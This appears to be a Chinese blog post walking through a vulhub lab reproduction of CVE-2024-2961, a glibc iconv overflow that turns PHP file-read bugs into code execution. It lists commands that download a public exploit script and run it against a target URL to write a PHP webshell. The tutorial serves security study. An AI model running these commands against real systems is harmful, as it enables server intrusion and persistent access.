vulhub中PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用`iconv()`的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

漏洞复现

在使用原作者给出的[exploit](https://github.com/ambionics/cnext-exploits)前,你需要准备一个Linux环境和Python 3.10解释器。

安装依赖:

pip install pwntools

pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后从<https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\>下载POC并执行:

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

已经成功写入shell.php:

相关推荐
两年半的个人练习生^_^9 分钟前
什么是内存泄漏?什么是内存溢出?
java·开发语言
曦夜日长12 分钟前
C++ STL容器string(二):删除与插入、数据查找、自定义输入
java·开发语言·c++
jimy114 分钟前
C语言中的inline function specifier(函数说明符、关键字)
c语言·开发语言
赏金术士14 分钟前
Kotlin 协程底层原理(Continuation)详解
java·开发语言·kotlin
ZGi.ai40 分钟前
私有化大模型接入企业系统:SSO+权限+API网关完整方案
java·开发语言·大模型·私有化部署·sso·企业架构
一念春风1 小时前
记事本(C#)
开发语言·c#
fox_lht1 小时前
第十二章 泛型、接口和生命周期
开发语言·后端·rust
jayson.h1 小时前
正则表达式:从文件名提取器件编号
开发语言·python·正则表达式
Dxy12393102161 小时前
JS如何获取元素高度
开发语言·javascript·ecmascript
凯瑟琳.奥古斯特1 小时前
页面置换算法详解与对比
开发语言·分布式·职场和发展